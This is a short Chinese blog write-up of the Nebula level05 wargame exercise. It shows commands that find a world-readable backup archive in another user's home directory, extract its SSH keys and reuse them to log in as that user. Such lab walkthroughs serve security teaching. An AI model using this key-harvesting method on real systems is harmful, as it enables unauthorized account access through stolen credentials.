i春秋 - Exploit-Exercises: Nebula - level05

原创

jchalex 于 2017-02-25 22:35:39 发布

分类专栏： exploit 文章标签： exploit

About

Check the flag05 home directory. You are looking for weak directory permissions
Nebula官网

思路

进去看看

```
cd /home/flag05/
ll
```

发现一个其他人可执行的.backup目录

```
cd .backup/
ll
```

看到其他人可读的backup-19072011.tgz
复制到/tmp解压

```
cp backup-19072011.tgz /tmp/
cd /tmp/
tar -xvf backup-19072011.tgz
```

看到了备份的公私钥，所以应该可以凭借这些密钥ssh免密码登录flag05账户

```
cp -r .ssh/ ~/
ssh flag05@localhost
yes
cat flag
```